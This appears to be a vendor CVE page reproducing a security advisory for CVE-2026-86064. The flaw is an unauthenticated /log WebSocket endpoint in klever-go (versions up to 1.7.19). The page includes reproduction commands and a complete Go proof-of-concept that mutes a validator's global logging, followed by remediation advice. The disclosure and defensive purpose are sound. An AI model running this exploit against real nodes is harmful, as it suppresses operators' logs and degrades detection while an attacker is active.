CVE-2026-86064

CVE-2026-86064 is a high-severity missing authentication for critical function vulnerability in github.com/klever-io/klever-go (go), affecting versions <= 1.7.19. It is fixed in 1.7.20.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Klever-Go: /log controls global node logging

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

  • Route exposed by default in config/node/api.yaml
  • Route registration in network/api/api.go
  • Unauthenticated upgrade in network/api/api.go
  • First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
  • Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

  • Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
  • REST API bound locally for validation
  • Tested on 2026-05-30

Step 1: Build and run a local validator from source

cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/gorilla/websocket"
)

func main() {
	url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
	profile := flag.String("profile", "none", "Profile to send: none or trace")
	hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
	flag.Parse()

	payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
	switch *profile {
	case "trace":
		payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
	case "none":
	default:
		log.Fatalf("unsupported profile %q", *profile)
	}

	c, _, err := websocket.DefaultDialer.Dial(*url, nil)
	if err != nil {
		log.Fatalf("dial: %v", err)
	}
	defer c.Close()

	fmt.Printf("connected to %s\n", *url)
	fmt.Printf("sending payload: %s\n", payload)

	if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
		log.Fatalf("write payload: %v", err)
	}

	fmt.Printf("holding connection open for %s\n", hold.String())
	time.Sleep(*hold)
	fmt.Println("closing connection")
}

Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.

Step 4: Observe the validator accepts and applies the unauthenticated profile

While the PoC is connected, the validator prints:

websocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]

Step 5: Observe logging is suppressed while the attacker connection remains open

In my local reproduction, the validator emitted:

SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINS

The expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.

Step 6: Observe the profile is restored only after the attacker disconnects

After the PoC closes the WebSocket, the validator prints:

reverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]

The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.

Immediate

  • Remove /log from the default open: true route set.
  • Require authentication before upgrading the WebSocket.
  • Reject unauthenticated clients before any profile message is processed.

Short term

  • Do not apply client-provided logger profiles to the process-global logger.
  • If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
  • Enforce origin checks and, if possible, bind /log to localhost-only or a dedicated admin interface.

Long term

  • Separate log streaming from global logger configuration.
  • Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.

Impact

An unauthenticated attacker can:

  • read live process logs over /log
  • mute node logging completely with *:NONE
  • increase verbosity to *:TRACE and force noisy logging
  • toggle correlation and logger-name settings process-wide

This affects both confidentiality and operational integrity.

In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.

This issue is distinct from:

  • GHSA-jc6w-wmfc-fh33 (KVM read-only execution side effects)
  • GHSA-87m7-qffr-542v (MultiDataInterceptor remote OOM)
  • GHSA-74m6-4hjp-7226 (MultiDataInterceptor throttler slot leak)

Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-86064 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.7.20); upgrading removes the vulnerable code path.

Affected versions

github.com/klever-io/klever-go (<= 1.7.19)

Security releases

github.com/klever-io/klever-go → 1.7.20 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/klever-io/klever-go to 1.7.20 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-86064? CVE-2026-86064 is a high-severity missing authentication for critical function vulnerability in github.com/klever-io/klever-go (go), affecting versions <= 1.7.19. It is fixed in 1.7.20. A critical operation is accessible without requiring any authentication.
  2. How severe is CVE-2026-86064? CVE-2026-86064 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/klever-io/klever-go are affected by CVE-2026-86064? github.com/klever-io/klever-go (go) versions <= 1.7.19 is affected.
  4. Is there a fix for CVE-2026-86064? Yes. CVE-2026-86064 is fixed in 1.7.20. Upgrade to this version or later.
  5. Is CVE-2026-86064 exploitable, and should I be worried? Whether CVE-2026-86064 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-86064 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-86064? Upgrade github.com/klever-io/klever-go to 1.7.20 or later.

Other vulnerabilities in github.com/klever-io/klever-go

Stop the waste.
Protect your environment with Kodem.